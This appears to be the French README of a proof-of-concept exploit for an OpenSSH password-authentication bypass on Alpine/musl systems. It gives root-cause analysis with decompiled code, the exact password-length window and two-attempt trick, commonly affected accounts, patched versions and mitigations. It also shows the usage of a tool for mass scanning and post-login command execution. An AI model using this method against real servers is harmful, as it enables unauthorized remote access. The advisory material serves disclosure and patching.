PoC Python exploitant CVE-2026-123158, un contournement de l'authentification par mot de passe d'OpenSSH sur les systèmes Alpine musl, avec analyse automatique, vérification des prérequis et exécution de commandes après connexion.
Contournement de l'authentification par mot de passe d'OpenSSH sur Alpine Linux (musl libc)
CVSS 3.1 : 8.1 (Élevé) · CWE-394 · Divulgation : 2026-11-05
Rapporteur : Özgün Kültekin (Wakefield)
Avis de non-responsabilité juridique
Ce dépôt est destiné uniquement à des fins éducatives, de recherche en sécurité et de tests dans des environnements autorisés et contrôlés. L'utilisation de ce matériel contre des systèmes sans autorisation explicite de leur propriétaire est illégale et contraire à l'éthique. L'auteur décline toute responsabilité pour tout usage abusif, dommage ou conséquence juridique résultant de l'utilisation de ce contenu en dehors d'un contexte autorisé.
sshd sur Alpine Linux accepte l'authentification par mot de passe pour les comptes sans mot de passe configuré (* dans shadow) lorsque l'attaquant envoie un mot de passe de plus de 256 octets. Aucun privilège préalable n'est requis — un accès réseau au port SSH suffit.
La vulnérabilité résulte de l'interaction de trois décisions de conception indépendantes :
┌──────────────────────────────────────────────────────────┐
│ 1. musl libc — crypt() returns "*" on failure │
│ (glibc returns NULL; no ambiguity) │
│ │
│ 2. musl SHA-512 — KEY_MAX = 256 bytes │
│ password > 256B → crypt() fails → returns "*" │
│ │
│ 3. OpenSSH (CVE-2016-6210 patch) — anti-enumeration │
│ sshd ALWAYS calls crypt() even for no-password accts │
│ using a salt "borrowed" from another account │
│ │
│ RESULT: │
│ crypt("A"×300, real_salt) → "*" ← musl failure │
│ strcmp("*", "*") → 0 ← no-password acct │
│ LOGIN ACCEPTED │
└──────────────────────────────────────────────────────────┘
Il s'agit d'un détail critique non documenté dans les sources CVE publiques.
Le sshd d'Alpine utilise pick_salt() dans xcrypt.c avec un cache statique (salt_0). Le contournement nécessite exactement deux tentatives au sein de la même connexion SSH :
| Tentative | pick_salt() | État de pw_password | crypt() | Résultat |
|---|---|---|---|---|
| 1re | Exécute la boucle getpwent/getspnam → écrase le tampon statique de musl | Corrompu (pointe vers les données d'un autre compte) | "*" | strcmp("*", <corrompu>) → ÉCHEC |
| 2e | Cache salt_0 != '\0' → retour immédiat, pas de getspnam() | Valide : toujours "*" du compte cible | "*" | strcmp("*", "*") == 0 → SUCCÈS |
Aliasing de tampon musl : getspnam() utilise un unique tampon statique global pour tous les appels. Lors de la 1re tentative, pick_salt() appelle getspnam("hashuser") pour récupérer le sel, écrasant le tampon vers lequel pointe pw_password (qui provenait de getspnam("victim")). Lors de la 2e tentative, la boucle est ignorée — tampon intact → l'exploit réussit.
L'exploit utilise directement paramiko.Transport pour effectuer les deux tentatives au sein de la même connexion SSH.
Binaire : sshd-session (ELF x86_64, OpenSSH 9.9p2, Alpine 3.21, avec symboles de débogage)
| Fonction | Adresse | Rôle |
|---|---|---|
sys_auth_passwd | 0x10f2e0 | Porte principale — condition vulnérable |
xcrypt | 0x1a7720 | pick_salt inliné ici (était static) |
shadow_pw | 0x1a7700 | Appelle getspnam() — aliasing de tampon |
pick_saltn'a pas de symbole séparé ; le compilateur l'a inliné dansxcrypt.
sys_auth_passwd — condition vulnérable// victim has shadow "*" → pw_password = "*"
char *pw_password = shadow_pw(pw);
// GATE: pw_password[1] == '\0' ← for "*" (len=1) → condition FALSE
// salt stays NULL → xcrypt() calls pick_salt()
if (authctxt->valid && pw_password[0] && pw_password[1])
salt = pw_password; // NOT executed
else
salt = NULL; // vulnerable path
encrypted_password = xcrypt(password, salt);
return strcmp(encrypted_password, pw_password) == 0; // strcmp("*","*") → LOGIN ACCEPTED
xcrypt — cache statique salt_0if (salt == NULL) {
if (salt_0 == '\0') { // 1st call: populate cache
setpwent();
do {
pw = getpwent();
pcVar1 = shadow_pw(pw); // getspnam() → overwrites musl static buffer!
} while (*pcVar1 != '$');
strlcpy(&salt_0, pcVar1, len);
explicit_bzero(pcVar1, strlen(pcVar1));
endpwent();
}
// 2nd call: salt_0 != '\0' → skips loop, no getspnam()
salt = &salt_0;
}
return crypt(password, salt); // musl: len > 256 → returns "*"
| Condition | Valeur par défaut d'Alpine |
|---|---|
PasswordAuthentication yes | oui (par défaut) |
UsePAM no (sans PAM) | oui (par défaut, PAM non installé) |
Compte cible avec * dans shadow | oui (root depuis Alpine 3.16 ; comptes à clé uniquement) |
Au moins un autre compte avec un hash $5$/$6$ | requis pour pick_salt() |
Non vulnérable : systèmes glibc (Debian/Ubuntu/RHEL), UsePAM yes, PasswordAuthentication no, ou shadow ! (compte verrouillé).
* dans shadow — prévalence dans le monde réel| Compte | Contexte |
|---|---|
root | Valeur par défaut d'Alpine depuis 3.16 (connexion par clé uniquement) |
alpine | Utilisateur par défaut de Cloud-init (AWS, GCP, Hetzner) |
ec2-user | AMI Amazon Linux basées sur Alpine |
nobody, nginx, postgres | Créés par les gestionnaires de paquets sans mot de passe |
≤ 256 bytes → rejected (crypt() works, returns real hash)
257–1024 → ACCEPTED (crypt() fails at KEY_MAX, returns "*")
≥ 1025 → rejected (OpenSSH MAX_PASSWORD_LEN = 1024)
| Branche Alpine | Version corrigée |
|---|---|
| edge | 10.6_p2-r0 |
| 3.24 | 10.3_p1-r2 |
| 3.23 | 10.2_p1-r1 |
| 3.22 | 10.0_p1-r11 |
| 3.21 | 9.9_p2-r1 |
| 3.20 | 9.7_p1-r6 |
| 3.19 | 9.6_p1-r3 |
| 3.18 | 9.3_p2-r4 |
| < 3.16 | aucun correctif disponible |
Correctif amont : OpenSSH 10.6p2 — auth-passwd.c rejette une correspondance lorsque le champ shadow contient moins de 4 caractères.
# Alpine — update openssh and restart daemon
apk upgrade -U -a
rc-service sshd restart # mandatory — installing alone does not replace the running process
# Without updating — disable PasswordAuthentication
echo "PasswordAuthentication no" > /etc/ssh/sshd_config.d/disable-pw.conf
sshd -t && rc-service sshd restart
Confirmez que la connexion par clé fonctionne avant de désactiver l'authentification par mot de passe.
usage: exploit.py (--single IP | --list FILE) [--port N] [--user NAME]
[--auto] [--scan] [--check] [--workers N] [--output FILE]
[--cmd CMD] [--size N] [-v] [-h]
required:
--single IP Single target (e.g. 192.168.1.10)
--list FILE IP list file (one per line; supports IP:port)
--port N SSH port (default: 22)
--user NAME Target user (not required with --auto)
operation mode (default: direct exploit):
--auto Test common accounts with '*' in shadow: root, alpine,
ec2-user, nobody, nginx, postgres
--scan Map the password size boundary (requires --user)
--check Check preconditions without exploiting (requires --user)